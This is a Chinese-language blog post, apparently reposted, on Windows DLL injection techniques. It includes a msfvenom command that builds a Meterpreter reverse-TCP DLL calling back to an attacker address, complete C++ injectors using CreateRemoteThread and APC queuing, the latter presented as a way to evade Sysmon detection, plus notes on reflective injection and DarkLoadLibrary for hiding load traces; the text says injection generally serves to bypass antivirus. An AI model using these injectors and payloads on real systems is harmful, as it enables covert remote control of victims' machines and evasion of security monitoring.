DLL注入

DLL注入DLL注入DLL注入原理dll注入实现过程功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML图表FLowchart流程图导出与导入导出导入DLL注入原理在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,

大家好,又见面了,我是你们的朋友全栈君。

DLL注入原理

在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。

也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。

所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。

dll注入实现过程

   1.附加到目标/远程进程

   2.在目标/远程进程内分配内存

   3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间

   4.控制进程运行DLL文件

生成DLL

使用msf生成一个dll:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll     

手写dll注入器:

#include<Windows.h> 
#include<stdio.h>
using namespace std;

int main(int argc,char * argv[]) {
  HANDLE ProcessHandle;
  LPVOID remotebuffer;
  BOOL write;

  wchar_t dllpath[] = TEXT("C:\\users\\root\\desktop\\inject.dll");

  if (argc < 2) {
    printf("Useage inject.exe Pid;\n");
    printf("such as inject.exe 258\n");
    exit(0);
  }

  printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
  ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 	FALSE, DWORD(atoi(argv[1])));
  if (ProcessHandle == NULL) {
    printf("OpenProcess Fail !!!");
    exit(0);
  }
  else
  {
    printf("OpenProcess %i successful !!!\n",atoi(argv[1]));
 }

 remotebuffer = VirtualAllocEx(ProcessHandle, NULL, 	sizeof dllpath, MEM_COMMIT, PAGE_READWRITE);
  write = WriteProcessMemory(ProcessHandle, 	remotebuffer, (LPVOID)dllpath, sizeof dllpath, NULL);

  if (write == 0) {
    printf("WriteProcessMemory Fail %i!!!",GetLastError());
    exit(0);
  }
  else
  {
printf("WriteProcessMemory  successful !!!\n");
  }

  PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
  CreateRemoteThread(ProcessHandle, NULL, 0, threatStartRoutineAddress, remotebuffer, 0, NULL);
  CloseHandle(ProcessHandle);
  
  return 0;
}

在进程监控中,也可以清楚的看到进程被注入了dll。
在这里插入图片描述在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。

APC实现DLL注入

#include <windows.h>
#include <TlHelp32.h>
#include <vector>

using std::vector;

bool FindProcess(PCWSTR exeName, DWORD& pid, 	vector<DWORD>& tids) {
auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
    return false;
pid = 0;
PROCESSENTRY32 pe = { sizeof(pe) };
if (::Process32First(hSnapshot, &pe)) {
    do {
        if (_wcsicmp(pe.szExeFile, exeName) == 0) {
            pid = pe.th32ProcessID;
            THREADENTRY32 te = { sizeof(te) };
            if (::Thread32First(hSnapshot, &te)) {
                do {
                    if (te.th32OwnerProcessID == pid) {
                        tids.push_back(te.th32ThreadID);
                    }
                } while (::Thread32Next(hSnapshot, &te));
            }
            break;
        }
    } while (::Process32Next(hSnapshot, &pe));
}
::CloseHandle(hSnapshot);
return pid > 0 && !tids.empty();
}

void main()
{
  DWORD pid;
  vector<DWORD> tids;
  if (FindProcess(L"calc.exe", pid, tids)) 
  {
printf("OpenProcess\n");
HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
printf("VirtualAllocEx\n");
auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
wchar_t buffer[] = L"c:\\test\\testdll.dll";
printf("WriteProcessMemory\n");
::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
for (const auto& tid : tids) 
{
  printf("OpenThread\n");
  HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
  if (hThread) 
  {
    printf("GetProcAddress\n");
    ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);  
  }
}
printf("VirtualFreeEx\n");
::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
  }
}

反射型dll注入

反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。

反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。

msf已经有了相应的模块:

windows/manage/reflective_dll_inject     

在内存中,可以看到明显的PE标识:

在这里插入图片描述

将其dump后
在这里插入图片描述

放入PE查看工具,可看到其为正常的PE文件与RDI特有的名字:

在这里插入图片描述此类文件可配合sRdi使用,效果更佳。

DarkLoadLibrary

DarkLoadLibrary由batsec提出的项目,文章地址:

DarkLoadLibrary文章描述

项目地址:项目地址

图标展示了其特点:
在这里插入图片描述其支持磁盘加载、内存加载。

磁盘加载:在这里插入图片描述内存加载:

在这里插入图片描述其DarkLoadLibraryDebugging为自定义的名称,与NO_LINK,则看不到明显的dll加载痕迹
在这里插入图片描述缺点是仅支持当前进程不支持远程进程,但不得不说,其优越性的确可以是当前进程加载dll的不二之选。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/145208.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Mybatis框架中jdbcType=”DATE” 和 jdbcType=”TIMESTAMP” 两种类型的区别

    Mybatis框架中jdbcType=”DATE” 和 jdbcType=”TIMESTAMP” 两种类型的区别也算不上是Mybatis的bug,只能说是特性,本来就是这么设置的,在连接oracle数据库的时候,当jdbcType=”DATE”类型时,返回的时间只有年月日(yyyy-MM-dd)的,当jdbcType=“TIMESTAMP”的时候,返回的时间是年月日和时分秒(yyyy-MM-ddHH:mm:ss),参考下图:以绑定时间和解绑时间为例:1.1当绑定时间的jdbcType=“DATE”

    2022年10月20日
    3
  • 华为面试笔试题库_c++笔试题

    华为面试笔试题库_c++笔试题整理了一下华为往届笔试面试题,希望对大家有帮助:超级有用的面试题:Java常见面试题   常见算法面试题  数据库常见面试题 操作系统常见面试题  C/C++常见面试题 大数据常见面试  python常见面试来源:华为笔试面试圈&gt;&gt;1、2018华为校招机试题目2、2018华为届校园招聘软件开发岗笔试题3、2017华为笔试题及答案4、2017年华为笔试…

    2022年8月27日
    5
  • 大公司里怎样开发和部署前端代码[通俗易懂]

    大公司里怎样开发和部署前端代码[通俗易懂]这是一个非常有趣的非主流前端领域,这个领域要探索的是如何用工程手段解决前端开发和部署优化的综合问题,入行到现在一直在学习和实践中。在我的印象中,facebook是这个领域的鼻祖,有兴趣、有梯子的同学可以去看看facebook的页面源代码,体会一下什么叫工程化。接下来,我想从原理展开讲述,多图,较长,希望能有耐心看完。原文https://github.com/fouber/blog

    2022年8月31日
    3
  • Python解决求最大公约数和最小公倍数问题

    Python解决求最大公约数和最小公倍数问题目录一.思路分析1.欧几里得法(辗转相除法)2.穷举法(一个一个除)3.stein算法二.提高要求三.测试截图题目:求两个正整数的最大公约数和最小公倍数。基本要求:1.程序风格良好(使用自定义注释模板),两种以上算法解决最大公约数问题,提供友好的输入输出。提高要求:1.三种以上算法解决两个正整数最大公约数问题。         2.求3个正…

    2022年5月16日
    40
  • 5分钟商学院商业篇_商学院是什么

    5分钟商学院商业篇_商学院是什么五分钟商学院的学习笔记

    2025年9月5日
    8
  • 嵌入式学习路线图「建议收藏」

    嵌入式学习路线图「建议收藏」可能是年前跳槽的比较多,遇到不少同学咨询到嵌入式行业发展和职业规划的问题,这里总结一下嵌入式行业的机遇和选择,希望对读者们有所帮助。我们暂且宏观上把程序员分为3类:业务类,专业类,系统类。 业务类 业务类更多的是在应用程序。随着移动互联网的快速发展出现一批UI设计师,这里的设计师是指APP的界面设计,在注重用户体验的今天对于界面的设计出现水涨船高的需求。一时间Android…

    2022年6月6日
    33

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号